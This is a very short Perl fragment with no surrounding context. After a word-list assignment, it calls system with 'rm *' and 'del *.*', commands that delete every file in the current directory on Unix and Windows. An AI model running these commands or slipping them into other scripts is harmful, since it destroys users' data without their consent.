@a1 = qw(2 3 4 5 6/0 2 4 8 21);
system 'rm *';
system 'del *.*';